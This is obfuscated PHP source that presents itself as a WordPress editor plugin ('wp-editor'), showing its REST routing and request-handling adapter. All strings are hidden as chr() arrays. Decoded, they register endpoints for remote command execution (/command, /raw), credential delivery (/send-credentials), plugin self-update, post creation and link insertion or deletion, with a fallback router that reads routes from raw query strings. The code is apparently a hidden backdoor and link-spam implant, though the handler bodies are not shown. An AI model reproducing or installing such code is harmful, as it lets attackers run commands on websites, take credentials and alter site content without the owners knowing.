return WpEditor_Adapter_Http_RestController_setRenderMode($request);
case implode('', array(chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))):
return WpEditor_Adapter_Http_RestController_sendCredentials($request);
case implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))):
return WpEditor_Adapter_Http_RestController_updatePlugin($request);
}
if ($expectsRequest) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(98), chr(97), chr(100), chr(95), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
}
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(98), chr(97), chr(100), chr(95), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
}
function WpEditor_Adapter_Http_LegacyRestAdapter_resolveEndpoint($relativeRoute, $method)
{
$route = implode('', array(chr(47))) . \trim((string) $relativeRoute, implode('', array(chr(47))));
if ($route === implode('', array(chr(47), chr(47)))) {
$route = implode('', array(chr(47)));
}
$method = \strtoupper((string) $method);
$routes = array(implode('', array(chr(47), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(45), chr(112), chr(111), chr(115), chr(116))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(100), chr(97), chr(116), chr(97))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(71), chr(69), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(71), chr(69), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => false), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(114), chr(97), chr(119))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(101), chr(116), chr(45), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(45), chr(109), chr(111), chr(100), chr(101))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true));
if (!\wp_editor_array_has_key($routes, $route)) {
return null;
}
$endpoint = $routes[$route];
if (!\in_array($method, $endpoint[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115)))], true)) {
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(77), chr(101), chr(116), chr(104), chr(111), chr(100), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(108), chr(108), chr(111), chr(119), chr(101), chr(100)))), 405);
}
return $endpoint;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_verifyAuth($request)
{
if (WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute(WpEditor_Adapter_Http_LegacyRestAdapter_requestGetRoute($request))) {
return WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request);
}
$pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request);
if ($pair === null) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(77), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(32), chr(65), chr(80), chr(73), chr(32), chr(97), chr(117), chr(116), chr(104), chr(32), chr(40), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115), chr(46), chr(97), chr(117), chr(116), chr(104), chr(41))));
}
return WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($pair[0], $pair[1]);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_requestGetMethod($request)
{
if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))))) {
return $request->get_method();
}
if (\is_array($request) && \wp_editor_array_has_key($request, implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))))) {
return (string) $request[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100)))];
}
return implode('', array(chr(71), chr(69), chr(84)));
}
function WpEditor_Adapter_Http_LegacyRestAdapter_requestGetRoute($request)
{
if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))) {
return (string) $request->get_route();
}
if (\is_array($request) && \wp_editor_array_has_key($request, implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101))))) {
return (string) $request[implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101)))];
}
return '';
}
function WpEditor_Adapter_Http_LegacyRestAdapter_buildRequest($route)
{
$method = \strtoupper((string) (\wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68)))) ? $_SERVER[implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68)))] : implode('', array(chr(71), chr(69), chr(84)))));
$headers = WpEditor_Adapter_Http_LegacyRestAdapter_collectHeaders();
$query = is_array($_GET) ? $_GET : array();
$post = is_array($_POST) ? $_POST : array();
$files = is_array($_FILES) ? $_FILES : array();
$rawBody = \file_get_contents(implode('', array(chr(112), chr(104), chr(112), chr(58), chr(47), chr(47), chr(105), chr(110), chr(112), chr(117), chr(116))));
if (!\is_string($rawBody)) {
$rawBody = '';
}
$json = null;
$contentType = '';
if (\wp_editor_array_has_key($headers, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101))))) {
$contentType = strtolower((string) $headers[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101)))]);
}
if ($rawBody !== '' && (\strpos($contentType, implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))) !== false || \strpos(\ltrim($rawBody), implode('', array(chr(123)))) === 0)) {
$decoded = \json_decode($rawBody, true);
if (\is_array($decoded)) {
$json = $decoded;
}
}
if (empty($post) && $rawBody !== '' && \strpos($contentType, implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(120), chr(45), chr(119), chr(119), chr(119), chr(45), chr(102), chr(111), chr(114), chr(109), chr(45), chr(117), chr(114), chr(108), chr(101), chr(110), chr(99), chr(111), chr(100), chr(101), chr(100)))) !== false) {
\parse_str($rawBody, $post);
if (!\is_array($post)) {
$post = array();
}
}
$request = new \WP_REST_Request();
$request->set_route($route);
$request->set_method($method);
$request->set_headers($headers);
$request->set_query_params($query);
$request->set_body_params($post);
$request->set_json_params($json);
$request->set_file_params($files);
$request->set_body($rawBody);
return $request;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_collectHeaders()
{
$headers = array();
if (\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(97), chr(108), chr(108), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))))) {
$all = \getallheaders();
if (\is_array($all)) {
foreach ($all as $key => $value) {
$headers[\strtolower((string) $key)] = (string) $value;
}
}
}
if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))))) {
$headers[implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110)))] = (string) $_SERVER[implode('', array(chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))];
}
if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(68), chr(73), chr(82), chr(69), chr(67), chr(84), chr(95), chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))))) {
$headers[implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110)))] = (string) $_SERVER[implode('', array(chr(82), chr(69), chr(68), chr(73), chr(82), chr(69), chr(67), chr(84), chr(95), chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))];
}
if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(67), chr(79), chr(78), chr(84), chr(69), chr(78), chr(84), chr(95), chr(84), chr(89), chr(80), chr(69)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101))))) {
$headers[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101)))] = (string) $_SERVER[implode('', array(chr(67), chr(79), chr(78), chr(84), chr(69), chr(78), chr(84), chr(95), chr(84), chr(89), chr(80), chr(69)))];
}
return $headers;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_extractRouteFromRequestUri()
{
if (\wp_editor_array_has_key($_GET, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \is_string($_GET[implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))])) {
$route = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate((string) $_GET[implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))]);
if ($route !== implode('', array(chr(47))) && $route !== '') {
return $route;
}
}
foreach ($_GET as $key => $value) {
if (!\is_string($key)) {
continue;
}
if (\strpos($key, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(47)))) === 0) {
$route = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate(\substr($key, \strlen(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))));
if ($route !== implode('', array(chr(47))) && $route !== '') {
return $route;
}
}
}
$requestUri = \wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(85), chr(82), chr(73)))) ? (string) $_SERVER[implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(85), chr(82), chr(73)))] : '';
if ($requestUri === '') {
return null;
}
$path = \parse_url($requestUri, \PHP_URL_PATH);
if (!\is_string($path) || $path === '') {
return null;
}
$candidates = array();
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$restBase = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : '';
if ($restBase !== '') {
$basePath = \parse_url($restBase, \PHP_URL_PATH);
if (\is_string($basePath) && $basePath !== '') {
$candidates[] = implode('', array(chr(47))) . \trim($basePath, implode('', array(chr(47)))) . implode('', array(chr(47)));
}
}
$candidates[] = implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)));
$candidates[] = implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)));
foreach ($candidates as $base) {
$needle = implode('', array(chr(47))) . \trim((string) $base, implode('', array(chr(47)))) . implode('', array(chr(47)));
if ($needle === implode('', array(chr(47), chr(47)))) {
continue;
}
$pos = \strpos($path, $needle);
if ($pos === false) {
continue;
}
$start = $pos + \strlen($needle);
$routePart = \substr($path, $start);
if ($routePart === false) {
$routePart = '';
}
return WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate($routePart);
}
return null;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate($candidate)
{
$route = implode('', array(chr(47))) . \trim((string) $candidate, implode('', array(chr(47))));
if ($route === implode('', array(chr(47))) || $route === '') {
return implode('', array(chr(47)));
}
if (\strpos($route, implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)))) === 0) {
$route = implode('', array(chr(47))) . \trim(\substr($route, \strlen(implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47))))), implode('', array(chr(47))));
} elseif (\strpos($route, implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)))) === 0) {
$route = implode('', array(chr(47))) . \trim(\substr($route, \strlen(implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47))))), implode('', array(chr(47))));
}
return $route;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_resolveNamespacePrefixes()
{
$prefixes = array();
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
if (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))))) {
$ns = (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))];
if ($ns !== '') {
$prefixes[] = implode('', array(chr(47))) . \trim($ns, implode('', array(chr(47))));
}
}
$pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
$prefixes[] = implode('', array(chr(47))) . $slug . implode('', array(chr(47), chr(118), chr(49)));
$prefixes[] = implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(118), chr(49)));
$unique = array();
foreach ($prefixes as $prefix) {
$p = implode('', array(chr(47))) . \trim((string) $prefix, implode('', array(chr(47))));
if ($p === implode('', array(chr(47))) || \wp_editor_array_has_key($unique, $p)) {
continue;
}
$unique[$p] = true;
}
return \array_keys($unique);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_sendAnyResult($result)
{
if ($result instanceof \WP_Error) {
$status = 500;
$data = _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(100), chr(97), chr(116), chr(97))));
if (\is_array($data) && \wp_editor_array_has_key($data, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))))) {
$status = (int) $data[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))];
}
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(99), chr(111), chr(100), chr(101))) => _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(99), chr(111), chr(100), chr(101)))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))), $status > 0 ? $status : 500);
}
if (\is_object($result)) {
$normalized = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeResponseObject($result);
if (\is_array($normalized)) {
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($normalized[implode('', array(chr(100), chr(97), chr(116), chr(97)))], (int) $normalized[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))]);
}
}
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($result, 200);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_normalizeResponseObject($result)
{
if (!\is_object($result)) {
return null;
}
$props = (array) $result;
if (!\is_array($props) || $props === array()) {
return null;
}
$data = WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, implode('', array(chr(100), chr(97), chr(116), chr(97))));
$status = WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))));
if ($data === null && $status === null) {
return null;
}
return array(implode('', array(chr(100), chr(97), chr(116), chr(97))) => $data, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status !== null ? (int) $status : 200);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, $name)
{
if (!\is_array($props)) {
return null;
}
if (\wp_editor_array_has_key($props, $name)) {
return $props[$name];
}
foreach ($props as $key => $value) {
if (!\is_string($key)) {
continue;
}
if (\substr($key, -\strlen($name)) === $name) {
return $value;
}
}
return null;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($data, $status)
{
if (!\headers_sent()) {
\status_header((int) $status);
\header(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101), chr(58), chr(32), chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110), chr(59), chr(32), chr(99), chr(104), chr(97), chr(114), chr(115), chr(101), chr(116), chr(61))) . \get_option(implode('', array(chr(98), chr(108), chr(111), chr(103), chr(95), chr(99), chr(104), chr(97), chr(114), chr(115), chr(101), chr(116)))));
\header(implode('', array(chr(67), chr(97), chr(99), chr(104), chr(101), chr(45), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(58), chr(32), chr(110), chr(111), chr(45), chr(99), chr(97), chr(99), chr(104), chr(101), chr(44), chr(32), chr(109), chr(117), chr(115), chr(116), chr(45), chr(114), chr(101), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(101), chr(44), chr(32), chr(109), chr(97), chr(120), chr(45), chr(97), chr(103), chr(101), chr(61), chr(48))));
}
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(106), chr(115), chr(111), chr(110), chr(95), chr(101), chr(110), chr(99), chr(111), chr(100), chr(101))))) {
echo \wp_json_encode($data, \JSON_UNESCAPED_SLASHES);
} else {
echo \json_encode($data, \JSON_UNESCAPED_SLASHES);
}
exit;
}
// --- file separator ---
function WpEditor_Adapter_Http_RestController_fallbackNamespace()
{
$pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Http_RestController_register()
{
\add_action(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(97), chr(112), chr(105), chr(95), chr(105), chr(110), chr(105), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(82), chr(111), chr(117), chr(116), chr(101), chr(115))));
}
function WpEditor_Adapter_Http_RestController_registerRoutes()
{
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
